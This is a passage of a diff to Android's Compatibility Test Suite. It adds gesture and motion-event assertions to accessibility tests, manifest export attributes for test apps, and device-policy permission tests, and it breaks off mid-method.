+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_UP;
 import static android.accessibilityservice.cts.utils.GestureUtils.add;
 import static android.accessibilityservice.cts.utils.GestureUtils.click;
 import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
 import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.doubleTapAndHold;
+import static android.accessibilityservice.cts.utils.GestureUtils.isRawAtPoint;
 import static android.accessibilityservice.cts.utils.GestureUtils.multiTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.secondFingerMultiTap;
 import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
@@ -43,6 +46,9 @@
 import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
 import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_LONG_CLICKED;
 
+import static org.hamcrest.CoreMatchers.both;
+import static org.hamcrest.MatcherAssert.assertThat;
+
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.GestureDescription;
@@ -56,13 +62,13 @@
 import android.app.UiAutomation;
 import android.content.Context;
 import android.content.pm.PackageManager;
-import android.graphics.Point;
 import android.graphics.PointF;
 import android.graphics.Region;
 import android.platform.test.annotations.AppModeFull;
 import android.util.DisplayMetrics;
 import android.util.TypedValue;
 import android.view.Display;
+import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewConfiguration;
 import android.view.WindowManager;
@@ -78,6 +84,8 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
+import java.util.List;
+
 /**
  * A set of tests for testing touch exploration. Each test dispatches a gesture and checks for the
  * appropriate hover and/or touch events followed by the appropriate accessibility events. Some
@@ -90,7 +98,6 @@
     private static final float GESTURE_LENGTH_MMS = 10.0f;
     private TouchExplorationStubAccessibilityService mService;
     private Instrumentation mInstrumentation;
-    private UiAutomation mUiAutomation;
     private boolean mHasTouchscreen;
     private boolean mScreenBigEnough;
     private long mSwipeTimeMillis;
@@ -122,9 +129,6 @@
     @Before
     public void setUp() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        mUiAutomation =
-                mInstrumentation.getUiAutomation(
-                        UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
         PackageManager pm = mInstrumentation.getContext().getPackageManager();
         mHasTouchscreen =
                 pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
@@ -132,14 +136,19 @@
         // Find window size, check that it is big enough for gestures.
         // Gestures will start in the center of the window, so we need enough horiz/vert space.
         mService = mServiceRule.enableService();
+        // To prevent a deadlock, we disable UiAutomation while another a11y service is running.
+        mInstrumentation.getUiAutomation(
+                UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES).destroy();
         mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
         WindowManager windowManager =
                 (WindowManager)
                         mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
         final DisplayMetrics metrics = new DisplayMetrics();
         windowManager.getDefaultDisplay().getRealMetrics(metrics);
-        mScreenBigEnough = mView.getWidth() / 2 >  TypedValue.applyDimension(
-                TypedValue.COMPLEX_UNIT_MM, GESTURE_LENGTH_MMS, metrics);
+        mScreenBigEnough =
+                mView.getWidth() / 2
+                        > TypedValue.applyDimension(
+                                TypedValue.COMPLEX_UNIT_MM, GESTURE_LENGTH_MMS, metrics);
         if (!mHasTouchscreen || !mScreenBigEnough) return;
 
         mView.setOnHoverListener(mHoverListener);
@@ -168,6 +177,7 @@
     @AppModeFull
     public void testSlowSwipe_initiatesTouchExploration() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
+        PointF endPoint = add(mTapLocation, mSwipeDistance, 0);
         dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0), mSwipeTimeMillis));
         mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_MOVE, ACTION_HOVER_EXIT);
         mTouchListener.assertNonePropagated();
@@ -183,7 +193,8 @@
     @AppModeFull
     public void testFastSwipe_doesNotInitiateTouchExploration() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
-        dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0)));
+        PointF endPoint = add(mTapLocation, mSwipeDistance, 0);
+        dispatch(swipe(mTapLocation, endPoint));
         mHoverListener.assertNonePropagated();
         mTouchListener.assertNonePropagated();
         mService.assertPropagated(
@@ -191,6 +202,11 @@
                 TYPE_GESTURE_DETECTION_START,
                 TYPE_GESTURE_DETECTION_END,
                 TYPE_TOUCH_INTERACTION_END);
+        List<MotionEvent> motionEvents = getMotionEventsForLastGesture();
+        assertThat(motionEvents.get(0), both(IS_ACTION_DOWN).and(isRawAtPoint(mTapLocation, 1.0f)));
+        assertThat(
+                motionEvents.get(motionEvents.size() - 1),
+                both(IS_ACTION_UP).and(isRawAtPoint(endPoint, 1.0f)));
     }
 
     /**
@@ -293,6 +309,11 @@
         mService.assertPropagated(TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END);
         mService.clearEvents();
         mClickListener.assertNoneClicked();
+        List<MotionEvent> motionEvents = getMotionEventsForLastGesture();
+        assertThat(motionEvents.get(0), both(IS_ACTION_DOWN).and(isRawAtPoint(mTapLocation, 1.0f)));
+        assertThat(motionEvents.get(1), both(IS_ACTION_UP).and(isRawAtPoint(mTapLocation, 1.0f)));
+        assertThat(motionEvents.get(2), both(IS_ACTION_DOWN).and(isRawAtPoint(mTapLocation, 1.0f)));
+        assertThat(motionEvents.get(3), both(IS_ACTION_UP).and(isRawAtPoint(mTapLocation, 1.0f)));
     }
 
     /**
@@ -574,11 +595,11 @@
     private void syncAccessibilityFocusToInputFocus() {
         mService.runOnServiceSync(
                 () -> {
-                    mUiAutomation
-                            .getRootInActiveWindow()
-                            .findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
-                            .performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
+                    AccessibilityNodeInfo focus = mService.findFocus(AccessibilityNodeInfo.FOCUS_INPUT);
+                    focus.performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
+                    focus.recycle();
                 });
+        mService.waitForAccessibilityFocus();
     }
 
     private void setRightSideOfActivityWindowGestureDetectionPassthrough() {
@@ -612,10 +633,14 @@
         mView.getLocationOnScreen(viewLocation);
 
         int top = viewLocation[1];
-        int left = viewLocation[0]  + mView.getWidth() / 2;
-        int right = viewLocation[0]  + mView.getWidth();
+        int left = viewLocation[0] + mView.getWidth() / 2;
+        int right = viewLocation[0] + mView.getWidth();
         int bottom = viewLocation[1] + mView.getHeight();
         Region region = new Region(left, top, right, bottom);
         return region;
     }
+
+    private List<MotionEvent> getMotionEventsForLastGesture() {
+        return mService.getGestureInfo(mService.getGestureInfoSize() - 1).getMotionEvents();
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
index 0fd9477..7f1cd37 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/AccessibilityEventFilterUtils.java
@@ -52,6 +52,13 @@
         return (both(new AccessibilityEventTypeMatcher(eventType)).and(matchResourceName))::matches;
     }
 
+    public static AccessibilityEventFilter filterForEventTypeWithAction(int eventType, int action) {
+        TypeSafeMatcher<AccessibilityEvent> matchAction =
+                new PropertyMatcher<>(
+                        action, "Action", (event, expect) -> event.getAction() == action);
+        return (both(new AccessibilityEventTypeMatcher(eventType)).and(matchAction))::matches;
+    }
+
     public static AccessibilityEventFilter filterWindowsChangeTypesAndWindowTitle(
             @NonNull UiAutomation uiAutomation, int changeTypes, @NonNull String title) {
         return allOf(new AccessibilityEventTypeMatcher(AccessibilityEvent.TYPE_WINDOWS_CHANGED),
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 34b3fc8..08d0936 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -48,8 +48,10 @@
 
 import com.android.compatibility.common.util.TestUtils;
 
+import java.util.Arrays;
 import java.util.List;
 import java.util.Objects;
+import java.util.concurrent.TimeoutException;
 import java.util.function.BooleanSupplier;
 import java.util.stream.Collectors;
 
@@ -255,6 +257,7 @@
         final StringBuilder activityPackage = new StringBuilder();
         final Rect bounds = new Rect();
         final StringBuilder activityTitle = new StringBuilder();
+        final StringBuilder timeoutExceptionRecords = new StringBuilder();
         // Make sure we get window events, so we'll know when the window appears
         AccessibilityServiceInfo info = uiAutomation.getServiceInfo();
         info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
@@ -265,36 +268,40 @@
             homeScreenOrBust(instrumentation.getContext(), uiAutomation);
         }
 
-        final AccessibilityEvent awaitedEvent = uiAutomation.executeAndWaitForEvent(
-                () -> {
-                    mTempActivity = activityLauncher.launchActivity();
-                    instrumentation.runOnMainSync(() -> {
+        try {
+            final AccessibilityEvent awaitedEvent = uiAutomation.executeAndWaitForEvent(
+                    () -> {
+                        mTempActivity = activityLauncher.launchActivity();
+                        instrumentation.runOnMainSync(() -> {
+                            mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
+                            activityPackage.append(mTempActivity.getPackageName());
+                        });
+                        instrumentation.waitForIdleSync();
+                        activityTitle.append(getActivityTitle(instrumentation, mTempActivity));
+                    },
+                    (event) -> {
+                        final AccessibilityWindowInfo window =
+                                findWindowByTitleAndDisplay(uiAutomation, activityTitle, displayId);
+                        if (window == null) return false;
+                        if (window.getRoot() == null) return false;
+
+                        window.getBoundsInScreen(bounds);
                         mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
-                        activityPackage.append(mTempActivity.getPackageName());
-                    });
-                    instrumentation.waitForIdleSync();
-                    activityTitle.append(getActivityTitle(instrumentation, mTempActivity));
-                },
-                (event) -> {
-                    AccessibilityNodeInfo node = event.getSource();
-                    if (node != null) {
-                        final AccessibilityWindowInfo window = node.getWindow();
-                        if(!TextUtils.equals(activityTitle, window.getTitle())) {
-                            return  false;
-                        }
-                    }
-                    final AccessibilityWindowInfo window =
-                            findWindowByTitleAndDisplay(uiAutomation, activityTitle, displayId);
-                    if (window == null) return false;
-                    window.getBoundsInScreen(bounds);
-                    mTempActivity.getWindow().getDecorView().getLocationOnScreen(location);
-                    if (bounds.isEmpty()) {
-                        return false;
-                    }
-                    return (!bounds.isEmpty())
-                            && (bounds.left == location[0]) && (bounds.top == location[1]);
-                }, DEFAULT_TIMEOUT_MS);
-        assertNotNull(awaitedEvent);
+
+                        // Stores the related information including event, location and window
+                        // as a timeout exception record.
+                        timeoutExceptionRecords.append(String.format("{Received event: %s \n"
+                                + "Window location: %s \nA11y window: %s}\n",
+                                event, Arrays.toString(location), window));
+
+                        return (!bounds.isEmpty())
+                                && (bounds.left == location[0]) && (bounds.top == location[1]);
+                    }, DEFAULT_TIMEOUT_MS);
+            assertNotNull(awaitedEvent);
+        } catch (TimeoutException timeout) {
+            throw new TimeoutException(timeout.getMessage() + "\n\nTimeout exception records : \n"
+                    + timeoutExceptionRecords);
+        }
         return (T) mTempActivity;
     }
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
index 4e367a2..32e2b8f0 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
@@ -381,7 +381,11 @@
         // The first tap
         for (int i = 0; i < fingerCount; i++) {
             pointers[i] = add(basePoint, times(i, delta));
-            strokes[i] = click(pointers[i]);
+            if(tapCount == 1) {
+                strokes[i] = longClick(pointers[i]);
+            } else {
+                strokes[i] = click(pointers[i]);
+            }
         }
         // The rest of taps
         for (int tapIndex = 1; tapIndex < tapCount; tapIndex++) {
diff --git a/tests/accessibilityservice/test-apps/WidgetProvider/AndroidManifest.xml b/tests/accessibilityservice/test-apps/WidgetProvider/AndroidManifest.xml
index e1628bf..af7ae8f 100644
--- a/tests/accessibilityservice/test-apps/WidgetProvider/AndroidManifest.xml
+++ b/tests/accessibilityservice/test-apps/WidgetProvider/AndroidManifest.xml
@@ -16,16 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="foo.bar.baz"
-          android:targetSandboxVersion="2">
+     package="foo.bar.baz"
+     android:targetSandboxVersion="2">
 
     <application>
-        <receiver android:name="foo.bar.baz.MyAppWidgetProvider" >
+        <receiver android:name="foo.bar.baz.MyAppWidgetProvider"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+                <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
             </intent-filter>
             <meta-data android:name="android.appwidget.provider"
-                       android:resource="@xml/appwidget_info" />
+                 android:resource="@xml/appwidget_info"/>
         </receiver>
     </application>
 
diff --git a/tests/accessibilityservice/testsdk29/AndroidManifest.xml b/tests/accessibilityservice/testsdk29/AndroidManifest.xml
index 90b2f5f..ad47ad7 100644
--- a/tests/accessibilityservice/testsdk29/AndroidManifest.xml
+++ b/tests/accessibilityservice/testsdk29/AndroidManifest.xml
@@ -16,37 +16,34 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.accessibilityservice.cts.testsdk29">
+     package="android.accessibilityservice.cts.testsdk29">
 
-    <uses-sdk android:targetSdkVersion="29" />
+    <uses-sdk android:targetSdkVersion="29"/>
 
     <application android:theme="@android:style/Theme.Holo.NoActionBar"
-                 android:requestLegacyExternalStorage="true">
+         android:requestLegacyExternalStorage="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <service
-            android:name="android.accessibilityservice.cts.StubAccessibilityButtonSdk29Service"
-            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+        <service android:name="android.accessibilityservice.cts.StubAccessibilityButtonSdk29Service"
+             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accessibilityservice.AccessibilityService" />
-                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+                <action android:name="android.accessibilityservice.AccessibilityService"/>
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC"/>
             </intent-filter>
 
-            <meta-data
-                android:name="android.accessibilityservice"
-                android:resource="@xml/stub_accessibility_button_service" />
+            <meta-data android:name="android.accessibilityservice"
+                 android:resource="@xml/stub_accessibility_button_service"/>
         </service>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.accessibilityservice.cts.testsdk29"
-        android:label="Tests for the accessibility Sdk 29 APIs.">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.accessibilityservice.cts.testsdk29"
+         android:label="Tests for the accessibility Sdk 29 APIs.">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/admin/Android.bp b/tests/admin/Android.bp
index 76a3c14..9ad006e 100644
--- a/tests/admin/Android.bp
+++ b/tests/admin/Android.bp
@@ -20,6 +20,7 @@
     name: "CtsAdminTestCases",
     defaults: ["cts_defaults"],
     static_libs: [
+        "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "mockito-target-minus-junit4",
         "truth-prebuilt",
diff --git a/tests/admin/AndroidTest.xml b/tests/admin/AndroidTest.xml
index 66070cb..fccdc2b 100644
--- a/tests/admin/AndroidTest.xml
+++ b/tests/admin/AndroidTest.xml
@@ -49,6 +49,7 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.admin.cts" />
         <option name="runtime-hint" value="17m" />
+        <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile" />
     </test>
 
 </configuration>
diff --git a/tests/admin/app/AndroidManifest.xml b/tests/admin/app/AndroidManifest.xml
index baff9ab..c0eee88 100644
--- a/tests/admin/app/AndroidManifest.xml
+++ b/tests/admin/app/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
  * Copyright (C) 2011 The Android Open Source Project
  *
@@ -17,139 +16,152 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.admin.app">
-    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="28"/>
+     package="android.admin.app">
+    <uses-sdk android:minSdkVersion="19"
+         android:targetSdkVersion="28"/>
 
     <application android:testOnly="true">
 
         <uses-library android:name="android.test.runner"/>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminDeviceOwner"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminProfileOwner"
-                  android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminReceiver2"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin_2" />
+                 android:resource="@xml/device_admin_2"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminReceiver3"
-                  android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin_3" />
+                 android:resource="@xml/device_admin_3"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminReceiverVisible"
-                  android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin_visible" />
+                 android:resource="@xml/device_admin_visible"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminReceiverInvisible"
-                  android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin_invisible" />
+                 android:resource="@xml/device_admin_invisible"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <!-- Device Admin that needs to be in the deactivated state in order
-             for tests to pass. -->
+                         for tests to pass. -->
         <receiver android:name="android.admin.app.CtsDeviceAdminDeactivatedReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <!-- Helper Activity used by Device Admin activation tests -->
         <activity android:name="android.admin.app.CtsDeviceAdminActivationTestActivity"
-                android:label="Device Admin activation test" />
+             android:label="Device Admin activation test"/>
 
         <!-- Broken device admin: meta-data missing -->
         <receiver android:name="android.admin.app.CtsDeviceAdminBrokenReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <!-- Broken device admin: filter doesn't match an Intent with action
-             android.app.action.DEVICE_ADMIN_ENABLED and nothing else (e.g.,
-             data) set -->
+                         android.app.action.DEVICE_ADMIN_ENABLED and nothing else (e.g.,
+                         data) set -->
         <receiver android:name="android.admin.app.CtsDeviceAdminBrokenReceiver2"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
-                <data android:scheme="https" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+                <data android:scheme="https"/>
             </intent-filter>
         </receiver>
 
         <!-- Broken device admin: meta-data element doesn't point to valid
-             Device Admin configuration/description -->
+                         Device Admin configuration/description -->
         <receiver android:name="android.admin.app.CtsDeviceAdminBrokenReceiver3"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/broken_device_admin" />
+                 android:resource="@xml/broken_device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <!-- Broken device admin: filter doesn't match Intents with action
-             android.app.action.DEVICE_ADMIN_ENABLED -->
+                         android.app.action.DEVICE_ADMIN_ENABLED -->
         <receiver android:name="android.admin.app.CtsDeviceAdminBrokenReceiver4"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_DISABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/>
             </intent-filter>
         </receiver>
 
         <!-- Broken device admin: no intent-filter -->
         <receiver android:name="android.admin.app.CtsDeviceAdminBrokenReceiver5"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
         </receiver>
 
     </application>
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index 1c38b39..b0ff422 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -41,6 +41,8 @@
 import android.test.suitebuilder.annotation.Suppress;
 import android.util.Log;
 
+import com.android.compatibility.common.util.SystemUtil;
+
 import java.io.ByteArrayInputStream;
 import java.security.cert.Certificate;
 import java.security.cert.CertificateException;
@@ -114,6 +116,26 @@
         assertTrue(mDevicePolicyManager.isAdminActive(mComponent));
     }
 
+    public void testSetGetPreferentialNetworkServiceEnabled() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testSetGetPreferentialNetworkServiceEnabled");
+            return;
+        }
+        try {
+            mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
+            assertThrows(SecurityException.class,
+                    () -> mDevicePolicyManager.setPreferentialNetworkServiceEnabled(true));
+            assertThrows(SecurityException.class,
+                    () -> mDevicePolicyManager.isPreferentialNetworkServiceEnabled());
+        }  catch (SecurityException se) {
+            Log.w(TAG, "Test is not a profile owner and there is no need to clear.");
+        } finally {
+            SystemUtil.runShellCommand(
+                  "dpm set-profile-owner --user cur "
+                          + DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
+        }
+    }
+
     public void testKeyguardDisabledFeatures() {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testKeyguardDisabledFeatures");
@@ -684,6 +706,18 @@
         }
     }
 
+    public void testSetUninstallBlocked_succeedForNotInstalledApps() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testSetUninstallBlocked_succeedForNotInstalledApps");
+            return;
+        }
+        ComponentName profileOwner = DeviceAdminInfoTest.getProfileOwnerComponent();
+        mDevicePolicyManager.setUninstallBlocked(profileOwner,
+                "android.admin.not.installed", true);
+        assertFalse(mDevicePolicyManager.isUninstallBlocked(profileOwner,
+              "android.admin.not.installed"));
+    }
+
     public void testSetPermittedAccessibilityServices_failIfNotProfileOwner() {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testSetPermittedAccessibilityServices_failIfNotProfileOwner");
@@ -774,23 +808,28 @@
 
     private void assertDeviceOwnerMessage(String message) {
         assertTrue("message is: "+ message, message.contains("does not own the device")
-                || message.contains("can only be called by the device owner"));
+                || message.contains("can only be called by the device owner")
+                || message.contains("Calling identity is not authorized"));
     }
 
     private void assertOrganizationOwnedProfileOwnerMessage(String message) {
-        assertTrue("message is: "+ message,
-                message.contains("is not the profile owner on organization-owned device"));
+        assertTrue("message is: " + message, message.contains(
+                "is not the profile owner on organization-owned device")
+                || message.contains("Calling identity is not authorized"));
     }
 
     private void assertDeviceOwnerOrManageUsersMessage(String message) {
         assertTrue("message is: "+ message, message.contains("does not own the device")
                 || message.contains("can only be called by the device owner")
                 || (message.startsWith("Neither user ") && message.endsWith(
-                        " nor current process has android.permission.MANAGE_USERS.")));
+                        " nor current process has android.permission.MANAGE_USERS."))
+                || message.contains("Calling identity is not authorized"));
     }
 
     private void assertProfileOwnerMessage(String message) {
-        assertTrue("message is: "+ message, message.contains("does not own the profile"));
+        assertTrue("message is: "+ message, message.contains("does not own the profile")
+                || message.contains("is not profile owner")
+                || message.contains("Calling identity is not authorized"));
     }
 
     public void testSetDelegatedCertInstaller_failIfNotProfileOwner() {
@@ -1140,4 +1179,57 @@
         } catch(SecurityException e) {
         }
     }
+
+    public void testSetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner() {
+        if (!mDeviceAdmin) {
+            String message =
+                    "Skipping"
+                        + " testSetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner";
+            Log.w(TAG, message);
+            return;
+        }
+        assertThrows(
+                SecurityException.class,
+                () ->
+                        mDevicePolicyManager.setNearbyNotificationStreamingPolicy(
+                                DevicePolicyManager.NEARBY_STREAMING_ENABLED));
+    }
+
+    public void testGetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner() {
+        if (!mDeviceAdmin) {
+            String message =
+                    "Skipping"
+                        + " testGetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner";
+            Log.w(TAG, message);
+            return;
+        }
+        assertThrows(
+                SecurityException.class,
+                () -> mDevicePolicyManager.getNearbyNotificationStreamingPolicy());
+    }
+
+    public void testSetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() {
+        if (!mDeviceAdmin) {
+            String message =
+                    "Skipping testSetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner";
+            Log.w(TAG, message);
+            return;
+        }
+        assertThrows(
+                SecurityException.class,
+                () ->
+                        mDevicePolicyManager.setNearbyAppStreamingPolicy(
+                                DevicePolicyManager.NEARBY_STREAMING_ENABLED));
+    }
+
+    public void testGetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() {
+        if (!mDeviceAdmin) {
+            String message =
